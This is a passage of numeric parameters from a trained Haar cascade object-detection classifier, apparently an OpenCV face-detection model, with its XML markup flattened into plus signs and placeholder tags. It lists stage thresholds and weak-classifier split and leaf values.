-2.6427319645881653e-01 3.2547241449356079e-01 + <_> + + 0 -1 32 -1.8574850633740425e-02 + + 4.6736589074134827e-01 -1.5067270398139954e-01 + <_> + + 0 -1 33 -7.0008762122597545e-05 + + 2.9313150048255920e-01 -2.5365099310874939e-01 + <_> + + 0 -1 34 -1.8552130088210106e-02 + + 4.6273660659790039e-01 -1.3148050010204315e-01 + <_> + + 0 -1 35 -1.3030420057475567e-02 + + 4.1627219319343567e-01 -1.7751489579677582e-01 + <_> + + 0 -1 36 6.5694141085259616e-05 + + -2.8035101294517517e-01 2.6680740714073181e-01 + <_> + + 0 -1 37 1.7005260451696813e-04 + + -2.7027249336242676e-01 2.3981650173664093e-01 + <_> + + 0 -1 38 -3.3129199873656034e-03 + + 4.4411438703536987e-01 -1.4428889751434326e-01 + <_> + + 0 -1 39 1.7583490116521716e-03 + + -1.6126190125942230e-01 4.2940768599510193e-01 + <_> + + 0 -1 40 -2.5194749236106873e-02 + + 4.0687298774719238e-01 -1.8202580511569977e-01 + <_> + + 0 -1 41 1.4031709870323539e-03 + + 8.4759786725044250e-02 -8.0018568038940430e-01 + <_> + + 0 -1 42 -7.3991729877889156e-03 + + 5.5766099691390991e-01 -1.1843159794807434e-01 + <_> + 23 + -1.2179850339889526e+00 + + <_> + + 0 -1 43 -2.9943080618977547e-02 + + 3.5810810327529907e-01 -3.8487631082534790e-01 + <_> + + 0 -1 44 -1.2567380070686340e-01 + + 3.9316931366920471e-01 -3.0012258887290955e-01 + <_> + + 0 -1 45 5.3635272197425365e-03 + + -4.3908619880676270e-01 1.9257010519504547e-01 + <_> + + 0 -1 46 -8.0971820279955864e-03 + + 3.9906668663024902e-01 -2.3407870531082153e-01 + <_> + + 0 -1 47 -1.6597909852862358e-02 + + 4.2095288634300232e-01 -2.2674840688705444e-01 + <_> + + 0 -1 48 -2.0199299324303865e-03 + + -7.4156731367111206e-01 1.2601189315319061e-01 + <_> + + 0 -1 49 -1.5202340437099338e-03 + + -7.6154601573944092e-01 8.6373612284660339e-02 + <_> + + 0 -1 50 -4.9663940444588661e-03 + + 4.2182239890098572e-01 -1.7904919385910034e-01 + <_> + + 0 -1 51 -1.9207600504159927e-02 + + 4.6894899010658264e-01 -1.4378750324249268e-01 + <_> + + 0 -1 52 -1.2222680263221264e-02 + + 3.2842078804969788e-01 -2.1802149713039398e-01 + <_> + + 0 -1 53 5.7548668235540390e-02 + + -3.6768808960914612e-01 2.4357110261917114e-01 + <_> + + 0 -1 54 -9.5794079825282097e-03 + + -7.2245067358016968e-01 6.3664563000202179e-02 + <_> + + 0 -1 55 -2.9545740690082312e-03 + + 3.5846439003944397e-01 -1.6696329414844513e-01 + <_> + + 0 -1 56 -4.2017991654574871e-03 + + 3.9094808697700500e-01 -1.2041790038347244e-01 + <_> + + 0 -1 57 -1.3624990358948708e-02 + + -5.8767718076705933e-01 8.8404729962348938e-02 + <_> + + 0 -1 58 6.2853112467564642e-05 + + -2.6348459720611572e-01 2.1419279277324677e-01 + <_> + + 0 -1 59 -2.6782939676195383e-03 + + -7.8390169143676758e-01 8.0526962876319885e-02 + <_> + + 0 -1 60 -7.0597179234027863e-02 + + 4.1469261050224304e-01 -1.3989959657192230e-01 + <_> + + 0 -1 61 9.2093646526336670e-02 + + -1.3055180013179779e-01 5.0435781478881836e-01 + <_> + + 0 -1 62 -8.8004386052489281e-03 + + 3.6609750986099243e-01 -1.4036649465560913e-01 + <_> + + 0 -1 63 7.5080977694597095e-05 + + -2.9704439640045166e-01 2.0702940225601196e-01 + <_> + + 0 -1 64 -2.9870450962334871e-03 + + 3.5615700483322144e-01 -1.5445969998836517e-01 + <_> + + 0 -1 65 -2.6441509835422039e-03 + + -5.4353517293930054e-01 1.0295110195875168e-01 + <_> + 27 + -1.2905240058898926e+00 + + <_> + + 0 -1 66 -4.7862470149993896e-02 + + 4.1528239846229553e-01 -3.4185820817947388e-01 + <_> + + 0 -1 67 8.7350532412528992e-02 + + -3.8749781250953674e-01 2.4204200506210327e-01 + <_> + + 0 -1 68 -1.6849499195814133e-02 + + 5.3082478046417236e-01 -1.7282910645008087e-01 + <_> + + 0 -1 69 -2.8870029374957085e-02 + + 3.5843509435653687e-01 -2.2402590513229370e-01 + <_> + + 0 -1 70 2.5679389946162701e-03 + + 1.4990499615669250e-01 -6.5609407424926758e-01 + <_> + + 0 -1 71 -2.4116659536957741e-02 + + 5.5889678001403809e-01 -1.4810280501842499e-01 + <_> + + 0 -1 72 -3.2826658338308334e-02 + + 4.6468681097030640e-01 -1.0785529762506485e-01 + <_> + + 0 -1 73 -1.5233060345053673e-02 + + -7.3954427242279053e-01 5.6236881762742996e-02 + <_> + + 0 -1 74 -3.0209511169232428e-04 + + -4.5548820495605469e-01 9.7069837152957916e-02 + <_> + + 0 -1 75 7.5365108205005527e-04 + + 9.5147296786308289e-02 -5.4895019531250000e-01 + <_> + + 0 -1 76 -1.0638950392603874e-02 + + 4.0912970900535583e-01 -1.2308409810066223e-01 + <_> + + 0 -1 77 -7.5217830017209053e-03 + + 4.0289148688316345e-01 -1.6048780083656311e-01 + <_> + + 0 -1 78 -1.0677099972963333e-01 + + 6.1759322881698608e-01 -7.3091186583042145e-02 + <_> + + 0 -1 79 1.6256919130682945e-02 + + -1.3103680312633514e-01 3.7453651428222656e-01 + <_> + + 0 -1 80 -2.0679360255599022e-02 + + -7.1402907371520996e-01 5.2390009164810181e-02 + <_> + + 0 -1 81 1.7052369192242622e-02 + + 1.2822860479354858e-01 -3.1080681085586548e-01 + <_> + + 0 -1 82 -5.7122060097754002e-03 + + -6.0556507110595703e-01 8.1884756684303284e-02 + <_> + + 0 -1 83 2.0851430235779844e-05 + + -2.6812988519668579e-01 1.4453840255737305e-01 + <_> + + 0 -1 84 7.9284431412816048e-03 + + -7.8795351088047028e-02 5.6762582063674927e-01 + <_> + + 0 -1 85 -2.5217379443347454e-03 + + 3.7068629264831543e-01 -1.3620570302009583e-01 + <_> + + 0 -1 86 -2.2426199167966843e-02 + + -6.8704998493194580e-01 5.1062859594821930e-02 + <_> + + 0 -1 87 -7.6451441273093224e-03 + + 2.3492220044136047e-01 -1.7905959486961365e-01 + <_> + + 0 -1 88 -1.1175329564139247e-03 + + -5.9869050979614258e-01 7.4324436485767365e-02 + <_> + + 0 -1 89 1.9212789833545685e-02 + + -1.5702550113201141e-01 2.9737469553947449e-01 + <_> + + 0 -1 90 5.6293429806828499e-03 + + -9.9769018590450287e-02 4.2130270600318909e-01 + <_> + + 0 -1 91 -9.5671862363815308e-03 + + -6.0858798027038574e-01 7.3506258428096771e-02 + <_> + + 0 -1 92 1.1217960156500340e-02 + + -1.0320810228586197e-01 4.1909849643707275e-01 + <_> + 28 + -1.1600480079650879e+00 + + <_> + + 0 -1 93 -1.7486440017819405e-02 + + 3.1307280063629150e-01 -3.3681181073188782e-01 + <_> + + 0 -1 94 3.0714649707078934e-02 + + -1.8766190111637115e-01 5.3780800104141235e-01 + <_> + + 0 -1 95 -2.2188719362020493e-02 + + 3.6637881398200989e-01 -1.6124810278415680e-01 + <_> + + 0 -1 96 -5.0700771680567414e-05 + + 2.1245710551738739e-01 -2.8444620966911316e-01 + <_> + + 0 -1 97 -7.0170420221984386e-03 + + 3.9543110132217407e-01 -1.3173590600490570e-01 + <_> + + 0 -1 98 -6.8563609384000301e-03 + + 3.0373859405517578e-01 -2.0657819509506226e-01 + <_> + + 0 -1 99 -1.4129259623587132e-02 + + -7.6503008604049683e-01 9.8213188350200653e-02 + <_> + + 0 -1 100 -4.7915481030941010e-02 + + 4.8307389020919800e-01 -1.3006809353828430e-01 + <_> + + 0 -1 101 4.7032979637151584e-05 + + -2.5216570496559143e-01 2.4386680126190186e-01 + <_> + + 0 -1 102 1.0221180273219943e-03 + + 6.8857602775096893e-02 -6.5861141681671143e-01 + <_> + + 0 -1 103 -2.6056109927594662e-03 + + 4.2942029237747192e-01 -1.3022460043430328e-01 + <_> + + 0 -1 104 5.4505340813193470e-05 + + -1.9288620352745056e-01 2.8958499431610107e-01 + <_> + + 0 -1 105 -6.6721157054416835e-05 + + 3.0290710926055908e-01 -1.9854369759559631e-01 + <_> + + 0 -1 106 2.6281431317329407e-01 + + -2.3293940722942352e-01 2.3692460358142853e-01 + <_> + + 0 -1 107 -2.3569669574499130e-02 + + 1.9401040673255920e-01 -2.8484618663787842e-01 + <_> + + 0 -1 108 -3.9120172150433064e-03 + + 5.5378979444503784e-01 -9.5665678381919861e-02 + <_> + + 0 -1 109 5.0788799853762612e-05 + + -2.3912659287452698e-01 2.1799489855766296e-01 + <_> + + 0 -1 110 -7.8732017427682877e-03 + + 4.0697428584098816e-01 -1.2768040597438812e-01 + <_> + + 0 -1 111 -1.6778609715402126e-03 + + -5.7744657993316650e-01 9.7324788570404053e-02 + <_> + + 0 -1 112 -2.6832430739887059e-04 + + 2.9021880030632019e-01 -1.6831269860267639e-01 + <_> + + 0 -1 113 7.8687182394787669e-05 + + -1.9551570713520050e-01 2.7720969915390015e-01 + <_> + + 0 -1 114 1.2953500263392925e-02 + + -9.6838317811489105e-02 4.0323871374130249e-01 + <_> + + 0 -1 115 -1.3043959625065327e-02 + + 4.7198569774627686e-01 -8.9287549257278442e-02 + <_> + + 0 -1 116 3.0261781066656113e-03 + + -1.3623380661010742e-01 3.0686271190643311e-01 + <_> + + 0 -1 117 -6.0438038781285286e-03 + + -7.7954101562500000e-01 5.7316310703754425e-02 + <_> + + 0 -1 118 -2.2507249377667904e-03 + + 3.0877059698104858e-01 -1.5006309747695923e-01 + <_> + + 0 -1 119 1.5826810151338577e-02 + + 6.4551889896392822e-02 -7.2455567121505737e-01 + <_> + + 0 -1 120 6.5864507632795721e-05 + + -1.7598840594291687e-01 2.3210389912128448e-01 + <_> + 36 + -1.2257250547409058e+00 + + <_> + + 0 -1 121 -2.7854869142174721e-02 + + 4.5518448948860168e-01 -1.8099910020828247e-01 + <_> + + 0 -1 122 1.2895040214061737e-01 + + -5.2565532922744751e-01 1.6188900172710419e-01 + <_> + + 0 -1 123 2.4403180927038193e-02 + + -1.4974960684776306e-01 4.2357379198074341e-01 + <_> + + 0 -1 124 -2.4458570405840874e-03 + + 3.2948669791221619e-01 -1.7447690665721893e-01 + <_> + + 0 -1 125 -3.5336529836058617e-03 + + 4.7426640987396240e-01 -7.3618359863758087e-02 + <_> + + 0 -1 126 5.1358150813030079e-05 + + -3.0421930551528931e-01 1.5633270144462585e-01 + <_> + + 0 -1 127 -1.6225680708885193e-02 + + 2.3002180457115173e-01 -2.0359820127487183e-01 + <_> + + 0 -1 128 -4.6007009223103523e-03 + + 4.0459269285202026e-01 -1.3485440611839294e-01 + <_> + + 0 -1 129 -2.1928999572992325e-02 + + -6.8724489212036133e-01 8.0684266984462738e-02 + <_> + + 0 -1 130 -2.8971210122108459e-03 + + -6.9619607925415039e-01 4.8545219004154205e-02 + <_> + + 0 -1 131 -4.4074649922549725e-03 + + 2.5166261196136475e-01 -1.6236649453639984e-01 + <_> + + 0 -1 132 2.8437169268727303e-02 + + 6.0394261032342911e-02 -6.6744458675384521e-01 + <_> + + 0 -1 133 8.3212882280349731e-02 + + 6.4357921481132507e-02 -5.3626042604446411e-01 + <_> + + 0 -1 134 -1.2419329956173897e-02 + + -7.0816862583160400e-01 5.7526610791683197e-02 + <_> + + 0 -1 135 -4.6992599964141846e-03 + + 5.1254332065582275e-01 -8.7350800633430481e-02 + <_> + + 0 -1 136 -7.8025809489190578e-04 + + 2.6687660813331604e-01 -1.7961509525775909e-01 + <_> + + 0 -1 137 -1.9724339246749878e-02 + + -6.7563730478286743e-01 7.2941906750202179e-02 + <_> + + 0 -1 138 1.0269250487908721e-03 + + 5.3919319063425064e-02 -5.5540180206298828e-01 + <_> + + 0 -1 139 -2.5957189500331879e-02 + + 5.6362527608871460e-01 -7.1898393332958221e-02 + <_> + + 0 -1 140 -1.2552699772641063e-03 + + -5.0346630811691284e-01 8.9691452682018280e-02 + <_> + + 0 -1 141 -4.9970578402280807e-02 + + 1.7685119807720184e-01 -2.2301959991455078e-01 + <_> + + 0 -1 142 -2.9899610672146082e-03 + + 3.9122420549392700e-01 -1.0149750113487244e-01 + <_> + + 0 -1 143 4.8546842299401760e-03 + + -1.1770179867744446e-01 4.2190939188003540e-01 + <_> + + 0 -1 144 1.0448860120959580e-04 + + -1.7333979904651642e-01 2.2344440221786499e-01 + <_> + + 0 -1 145 5.9689260524464771e-05 + + -2.3409630358219147e-01 1.6558240354061127e-01 + <_> + + 0 -1 146 -1.3423919677734375e-02 + + 4.3023818731307983e-01 -9.9723652005195618e-02 + <_> + + 0 -1 147 2.2581999655812979e-03 + + 7.2720989584922791e-02 -5.7501018047332764e-01 + <_> + + 0 -1 148 -1.2546280398964882e-02 + + 3.6184579133987427e-01 -1.1457010358572006e-01 + <_> + + 0 -1 149 -2.8705769218504429e-03 + + 2.8210538625717163e-01 -1.2367550283670425e-01 + <_> + + 0 -1 150 1.9785640761256218e-02 + + 4.7876749187707901e-02 -8.0666238069534302e-01 + <_> + + 0 -1 151 4.7588930465281010e-03 + + -1.0925389826297760e-01 3.3746978640556335e-01 + <_> + + 0 -1 152 -6.9974269717931747e-03 + + -8.0295938253402710e-01 4.5706700533628464e-02 + <_> + + 0 -1 153 -1.3033480383455753e-02 + + 1.8680439889431000e-01 -1.7688910663127899e-01 + <_> + + 0 -1 154 -1.3742579612880945e-03 + + 2.7725479006767273e-01 -1.2809009850025177e-01 + <_> + + 0 -1 155 2.7657810132950544e-03 + + 9.0758942067623138e-02 -4.2594739794731140e-01 + <_> + + 0 -1 156 2.8941841446794569e-04 + + -3.8816329836845398e-01 8.9267797768115997e-02 + <_> + 47 + -1.2863140106201172e+00 + + <_> + + 0 -1 157 -1.4469229616224766e-02 + + 3.7507829070091248e-01 -2.4928289651870728e-01 + <_> + + 0 -1 158 -1.3317629694938660e-01 + + 3.0166378617286682e-01 -2.2414070367813110e-01 + <_> + + 0 -1 159 -1.0132160037755966e-02 + + 3.6985591053962708e-01 -1.7850010097026825e-01 + <_> + + 0 -1 160 -7.8511182218790054e-03 + + 4.6086761355400085e-01 -1.2931390106678009e-01 + <_> + + 0 -1 161 -1.4295839704573154e-02 + + 4.4841429591178894e-01 -1.0226240009069443e-01 + <_> + + 0 -1 162 -5.9606940485537052e-03 + + 2.7927988767623901e-01 -1.5323829650878906e-01 + <_> + + 0 -1 163 1.0932769626379013e-02 + + -1.5141740441322327e-01 3.9889648556709290e-01 + <_> + + 0 -1 164 5.0430990086169913e-05 + + -2.2681570053100586e-01 2.1644389629364014e-01 + <_> + + 0 -1 165 -5.8431681245565414e-03 + + 4.5420148968696594e-01 -1.2587159872055054e-01 + <_> + + 0 -1 166 -2.2346209734678268e-02 + + -6.2690192461013794e-01 8.2403123378753662e-02 + <_> + + 0 -1 167 -4.8836669884622097e-03 + + 2.6359251141548157e-01 -1.4686630666255951e-01 + <_> + + 0 -1 168 7.5506002758629620e-05 + + -2.4507020413875580e-01 1.6678880155086517e-01 + <_> + + 0 -1 169 -4.9026997294276953e-04 + + -4.2649960517883301e-01 8.9973561465740204e-02 + <_> + + 0 -1 170 1.4861579984426498e-03 + + -1.2040250003337860e-01 3.0097651481628418e-01 + <_> + + 0 -1 171 -1.1988339945673943e-02 + + 2.7852478623390198e-01 -1.2244340032339096e-01 + <_> + + 0 -1 172 1.0502239689230919e-02 + + 4.0452759712934494e-02 -7.4050408601760864e-01 + <_> + + 0 -1 173 -3.0963009223341942e-02 + + -6.2842690944671631e-01 4.8013761639595032e-02 + <_> + + 0 -1 174 1.1414520442485809e-02 + + 3.9405211806297302e-02 -7.1674120426177979e-01 + <_> + + 0 -1 175 -1.2337000109255314e-02 + + 1.9941329956054688e-01 -1.9274300336837769e-01 + <_> + + 0 -1 176 -5.9942267835140228e-03 + + 5.1318162679672241e-01 -6.1658058315515518e-02 + <_> + + 0 -1 177 -1.1923230485990644e-03 + + -7.2605299949645996e-01 5.0652720034122467e-02 + <_> + + 0 -1 178 -7.4582789093255997e-03 + + 2.9603078961372375e-01 -1.1754789948463440e-01 + <_> + + 0 -1 179 2.7877509128302336e-03 + + 4.5068711042404175e-02 -6.9535410404205322e-01 + <_> + + 0 -1 180 -2.2503209766000509e-04 + + 2.0047250390052795e-01 -1.5775249898433685e-01 + <_> + + 0 -1 181 -5.0367889925837517e-03 + + 2.9299819469451904e-01 -1.1700499802827835e-01 + <_> + + 0 -1 182 7.4742160737514496e-02 + + -1.1392319947481155e-01 3.0256620049476624e-01 + <_> + + 0 -1 183 2.0255519077181816e-02 + + -1.0515890270471573e-01 4.0670460462570190e-01 + <_> + + 0 -1 184 4.4214509427547455e-02 + + -2.7631640434265137e-01 1.2363869696855545e-01 + <_> + + 0 -1 185 -8.7259558495134115e-04 + + 2.4355030059814453e-01 -1.3300949335098267e-01 + <_> + + 0 -1 186 -2.4453739169985056e-03 + + -5.3866171836853027e-01 6.2510646879673004e-02 + <_> + + 0 -1 187 8.2725353422574699e-05 + + -2.0772209763526917e-01 1.6270439326763153e-01 + <_> + + 0 -1 188 -3.6627110093832016e-02 + + 3.6568409204483032e-01 -9.0330280363559723e-02 + <_> + + 0 -1 189 3.0996399000287056e-03 + + -1.3183020055294037e-01 2.5354298949241638e-01 + <_> + + 0 -1 190 -2.4709280114620924e-03 + + -5.6853497028350830e-01 5.3505431860685349e-02 + <_> + + 0 -1 191 -1.4114670455455780e-02 + + -4.8599010705947876e-01 5.8485250920057297e-02 + <_> + + 0 -1 192 8.4537261864170432e-04 + + -8.0093637108802795e-02 4.0265649557113647e-01 + <_> + + 0 -1 193 -7.1098632179200649e-03 + + 4.4703239202499390e-01 -6.2947437167167664e-02 + <_> + + 0 -1 194 -1.9125960767269135e-02 + + -6.6422867774963379e-01 4.9822770059108734e-02 + <_> + + 0 -1 195 -5.0773010589182377e-03 + + 1.7379400134086609e-01 -1.6850599646568298e-01 + <_> + + 0 -1 196 -2.9198289848864079e-03 + + -6.0110282897949219e-01 5.7427939027547836e-02 + <_> + + 0 -1 197 -2.4902150034904480e-02 + + 2.3397980630397797e-01 -1.1818459630012512e-01 + <_> + + 0 -1 198 2.0147779956459999e-02 + + -8.9459821581840515e-02 3.6024400591850281e-01 + <_> + + 0 -1 199 1.7597640398889780e-03 + + 4.9458440393209457e-02 -6.3102620840072632e-01 + <_> + + 0 -1 200 1.3812039978802204e-03 + + -1.5218059718608856e-01 1.8971739709377289e-01 + <_> + + 0 -1 201 -1.0904540307819843e-02 + + -5.8097380399703979e-01 4.4862728565931320e-02 + <_> + + 0 -1 202 7.5157178798690438e-05 + + -1.3777349889278412e-01 1.9543160498142242e-01 + <_> + + 0 -1 203 3.8649770431220531e-03 + + -1.0302229970693588e-01 2.5374969840049744e-01 + <_> + 48 + -1.1189440488815308e+00 + + <_> + + 0 -1 204 -1.0215889662504196e-01 + + 4.1681259870529175e-01 -1.6655629873275757e-01 + <_> + + 0 -1 205 -5.1939819008111954e-02 + + 3.3023950457572937e-01 -2.0715710520744324e-01 + <_> + + 0 -1 206 -4.2717780917882919e-02 + + 2.6093730330467224e-01 -1.6013890504837036e-01 + <_> + + 0 -1 207 4.3890418601222336e-04 + + -3.4750530123710632e-01 1.3918919861316681e-01 + <_> + + 0 -1 208 2.4264389649033546e-02 + + -4.2552059888839722e-01 1.3578380644321442e-01 + <_> + + 0 -1 209 -2.3820599541068077e-02 + + 3.1749808788299561e-01 -1.6652040183544159e-01 + <_> + + 0 -1 210 -7.0518180727958679e-03 + + 3.0947178602218628e-01 -1.3338300585746765e-01 + <_> + + 0 -1 211 -6.8517157342284918e-04 + + -6.0082262754440308e-01 8.7747000157833099e-02 + <_> + + 0 -1 212 5.3705149330198765e-03 + + -1.2311449646949768e-01 3.8333550095558167e-01 + <_> + + 0 -1 213 -1.3403539545834064e-02 + + 3.3877369761466980e-01 -1.0140489786863327e-01 + <_> + + 0 -1 214 -6.6856360062956810e-03 + + -6.1193597316741943e-01 4.7740221023559570e-02 + <_> + + 0 -1 215 -4.2887418530881405e-03 + + 2.5275790691375732e-01 -1.4434510469436646e-01 + <_> + + 0 -1 216 -1.0876749642193317e-02 + + 5.4775732755661011e-01 -5.9455480426549911e-02 + <_> + + 0 -1 217 3.7882640026509762e-04 + + 8.3410300314426422e-02 -4.4226369261741638e-01 + <_> + + 0 -1 218 -2.4550149682909250e-03 + + 2.3330999910831451e-01 -1.3964480161666870e-01 + <_> + + 0 -1 219 1.2721839593723416e-03 + + 6.0480289161205292e-02 -4.9456089735031128e-01 + <_> + + 0 -1 220 -4.8933159559965134e-03 + + -6.6833269596099854e-01 4.6218499541282654e-02 + <_> + + 0 -1 221 2.6449989527463913e-02 + + -7.3235362768173218e-02 4.4425961375236511e-01 + <_> + + 0 -1 222 -3.3706070389598608e-03 + + -4.2464339733123779e-01 6.8676561117172241e-02 + <_> + + 0 -1 223 -2.9559480026364326e-03 + + 1.6218039393424988e-01 -1.8222999572753906e-01 + <_> + + 0 -1 224 3.0619909986853600e-02 + + -5.8643341064453125e-02 5.3263628482818604e-01 + <_> + + 0 -1 225 -9.5765907317399979e-03 + + -6.0562682151794434e-01 5.3345989435911179e-02 + <_> + + 0 -1 226 6.6372493165545166e-05 + + -1.6680839657783508e-01 1.9284160435199738e-01 + <_> + + 0 -1 227 5.0975950434803963e-03 + + 4.4119510799646378e-02 -5.7458841800689697e-01 + <_> + + 0 -1 228 3.7112718564458191e-04 + + -1.1086399853229523e-01 2.3105390369892120e-01 + <_> + + 0 -1 229 -8.6607588455080986e-03 + + 4.0456289052963257e-01 -6.2446091324090958e-02 + <_> + + 0 -1 230 8.7489158613607287e-04 + + 6.4875148236751556e-02 -4.4871041178703308e-01 + <_> + + 0 -1 231 1.1120870476588607e-03 + + -9.3861460685729980e-02 3.0453911423683167e-01 + <_> + + 0 -1 232 -2.3837819695472717e-02 + + -5.8887428045272827e-01 4.6659421175718307e-02 + <_> + + 0 -1 233 2.2272899514064193e-04 + + -1.4898599684238434e-01 1.7701950669288635e-01 + <_> + + 0 -1 234 2.4467470124363899e-02 + + -5.5789601057767868e-02 4.9208301305770874e-01 + <_> + + 0 -1 235 -1.4239320158958435e-01 + + 1.5192000567913055e-01 -1.8778899312019348e-01 + <_> + + 0 -1 236 -2.0123120397329330e-02 + + 2.1780100464820862e-01 -1.2081900238990784e-01 + <_> + + 0 -1 237 1.1513679783092812e-04 + + -1.6856589913368225e-01 1.6451929509639740e-01 + <_> + + 0 -1 238 -2.7556740678846836e-03 + + -6.9442039728164673e-01 3.9449468255043030e-02 + <_> + + 0 -1 239 -7.5843912782147527e-05 + + 1.8941369652748108e-01 -1.5183840692043304e-01 + <_> + + 0 -1 240 -7.0697711780667305e-03 + + 4.7064599394798279e-01 -5.7927619665861130e-02 + <_> + + 0 -1 241 -3.7393178790807724e-02 + + -7.5892448425292969e-01 3.4116048365831375e-02 + <_> + + 0 -1 242 -1.5995610505342484e-02 + + 3.0670469999313354e-01 -8.7525576353073120e-02 + <_> + + 0 -1 243 -3.1183990649878979e-03 + + 2.6195371150970459e-01 -9.1214887797832489e-02 + <_> + + 0 -1 244 1.0651360498741269e-03 + + -1.7427560687065125e-01 1.5277640521526337e-01 + <_> + + 0 -1 245 -1.6029420075938106e-03 + + 3.5612630844116211e-01 -7.6629996299743652e-02 + <_> + + 0 -1 246 4.3619908392429352e-03 + + 4.9356970936059952e-02 -5.9228771924972534e-01 + <_> + + 0 -1 247 -1.0779909789562225e-02 + + -6.3922178745269775e-01 3.3204540610313416e-02 + <_> + + 0 -1 248 -4.3590869754552841e-03 + + 1.6107389330863953e-01 -1.5221320092678070e-01 + <_> + + 0 -1 249 7.4596069753170013e-03 + + 3.3172961324453354e-02 -7.5007742643356323e-01 + <_> + + 0 -1 250 8.1385448575019836e-03 + + 2.6325279846787453e-02 -7.1731162071228027e-01 + <_> + + 0 -1 251 -3.3338490873575211e-02 + + 3.3536610007286072e-01 -7.0803590118885040e-02 + <_> + 55 + -1.1418989896774292e+00 + + <_> + + 0 -1 252 1.9553979858756065e-02 + + -1.0439720004796982e-01 5.3128951787948608e-01 + <_> + + 0 -1 253 2.2122919559478760e-02 + + -2.4747270345687866e-01 2.0847250521183014e-01 + <_> + + 0 -1 254 -4.1829389519989491e-03 + + 3.8289439678192139e-01 -1.4711579680442810e-01 + <_> + + 0 -1 255 -8.6381728760898113e-04 + + -6.2632888555526733e-01 1.1993259936571121e-01 + <_> + + 0 -1 256 7.9958612332120538e-04 + + 9.2573471367359161e-02 -5.5168831348419189e-01 + <_> + + 0 -1 257 9.1527570039033890e-03 + + -7.2929807007312775e-02 5.5512511730194092e-01 + <_> + + 0 -1 258 -3.9388681761920452e-03 + + 2.0196039974689484e-01 -2.0912039279937744e-01 + <_> + + 0 -1 259 1.4613410166930407e-04 + + -2.7861818671226501e-01 1.3817410171031952e-01 + <_> + + 0 -1 260 -3.1691689509898424e-03 + + 3.6685898900032043e-01 -7.6308242976665497e-02 + <_> + + 0 -1 261 -2.2189389914274216e-02 + + 3.9096599817276001e-01 -1.0971540212631226e-01 + <_> + + 0 -1 262 -7.4523608200252056e-03 + + 1.2838590145111084e-01 -2.4159869551658630e-01 + <_> + + 0 -1 263 7.7997002517804503e-04 + + 7.1978069841861725e-02 -4.3976500630378723e-01 + <_> + + 0 -1 264 -4.6783639118075371e-03 + + 2.1569849550724030e-01 -1.4205920696258545e-01 + <_> + + 0 -1 265 -1.5188639983534813e-02 + + 3.6458781361579895e-01 -8.2675926387310028e-02 + <_> + + 0 -1 266 5.0619798712432384e-03 + + -3.4380409121513367e-01 9.2068232595920563e-02 + <_> + + 0 -1 267 -1.7351920250803232e-03 + + -6.1725497245788574e-01 4.9214478582143784e-02 + <_> + + 0 -1 268 -1.2423450127243996e-02 + + -5.8558952808380127e-01 4.6112600713968277e-02 + <_> + + 0 -1 269 -1.3031429611146450e-02 + + -5.9710788726806641e-01 4.0672458708286285e-02 + <_> + + 0 -1 270 -1.2369629694148898e-03 + + -6.8334168195724487e-01 3.3156178891658783e-02 + <_> + + 0 -1 271 6.1022108420729637e-03 + + -9.4729237258434296e-02 3.0102241039276123e-01 + <_> + + 0 -1 272 6.6952849738299847e-04 + + 8.1816866993904114e-02 -3.5196030139923096e-01 + <_> + + 0 -1 273 -1.7970580374822021e-03 + + 2.3718979954719543e-01 -1.1768709868192673e-01 + <_> + + 0 -1 274 -7.1074528386816382e-04 + + -4.4763788580894470e-01 5.7682480663061142e-02 + <_> + + 0 -1 275 -5.9126471169292927e-03 + + 4.3425410985946655e-01 -6.6868573427200317e-02 + <_> + + 0 -1 276 -3.3132149837911129e-03 + + 1.8150010704994202e-01 -1.4180320501327515e-01 + <_> + + 0 -1 277 -6.0814660042524338e-02 + + 4.7221711277961731e-01 -6.1410639435052872e-02 + <_> + + 0 -1 278 -9.6714183688163757e-02 + + 2.7683168649673462e-01 -9.4490036368370056e-02 + <_> + + 0 -1 279 3.9073550142347813e-03 + + -1.2278530001640320e-01 2.1057400107383728e-01 + <_> + + 0 -1 280 -9.0431869029998779e-03 + + 3.5641568899154663e-01 -7.7806226909160614e-02 + <_> + + 0 -1 281 -4.8800031654536724e-03 + + -4.1034790873527527e-01 6.9694377481937408e-02 + <_> + + 0 -1 282 -4.3547428213059902e-03 + + -7.3017889261245728e-01 3.6655150353908539e-02 + <_> + + 0 -1 283 -9.6500627696514130e-03 + + 5.5181127786636353e-01 -5.3168080747127533e-02 + <_> + + 0 -1 284 -1.7397310584783554e-02 + + -5.7084232568740845e-01 5.0214089453220367e-02 + <_> + + 0 -1 285 -6.8304329179227352e-03 + + -4.6180281043052673e-01 5.0202690064907074e-02 + <_> + + 0 -1 286 3.3255619928240776e-04 + + -9.5362730324268341e-02 2.5983759760856628e-01 + <_> + + 0 -1 287 -2.3100529797375202e-03 + + 2.2872470319271088e-01 -1.0533530265092850e-01 + <_> + + 0 -1 288 -7.5426651164889336e-03 + + -5.6990510225296021e-01 4.8863459378480911e-02 + <_> + + 0 -1 289 -5.2723060362040997e-03 + + 3.5145181417465210e-01 -8.2390107214450836e-02 + <_> + + 0 -1 290 -4.8578968271613121e-03 + + -6.0417622327804565e-01 4.4539440423250198e-02 + <_> + + 0 -1 291 1.5867310576140881e-03 + + -1.0340909659862518e-01 2.3282019793987274e-01 + <_> + + 0 -1 292 -4.7427811659872532e-03 + + 2.8490281105041504e-01 -9.8090499639511108e-02 + <_> + + 0 -1 293 -1.3515240279957652e-03 + + 2.3096430301666260e-01 -1.1361840367317200e-01 + <_> + + 0 -1 294 2.2526069078594446e-03 + + 6.4478322863578796e-02 -4.2205891013145447e-01 + <_> + + 0 -1 295 -3.8038659840822220e-04 + + -3.8076201081275940e-01 6.0043290257453918e-02 + <_> + + 0 -1 296 4.9043921753764153e-03 + + -7.6104998588562012e-02 3.3232170343399048e-01 + <_> + + 0 -1 297 -9.0969670563936234e-03 + + 1.4287790656089783e-01 -1.6887800395488739e-01 + <_> + + 0 -1 298 -6.9317929446697235e-03 + + 2.7255409955978394e-01 -9.2879563570022583e-02 + <_> + + 0 -1 299 1.1471060570329428e-03 + + -1.5273059904575348e-01 1.9702400267124176e-01 + <_> + + 0 -1 300 -3.7662889808416367e-02 + + -5.9320437908172607e-01 4.0738601237535477e-02 + <_> + + 0 -1 301 -6.8165571428835392e-03 + + 2.5494089722633362e-01 -9.4081960618495941e-02 + <_> + + 0 -1 302 6.6205562325194478e-04 + + 4.6795718371868134e-02 -4.8454371094703674e-01 + <_> + + 0 -1 303 -4.2202551849186420e-03 + + 2.4682149291038513e-01 -9.4673976302146912e-02 + <_> + + 0 -1 304 -6.8986512720584869e-02 + + -6.6514801979064941e-01 3.5926390439271927e-02 + <_> + + 0 -1 305 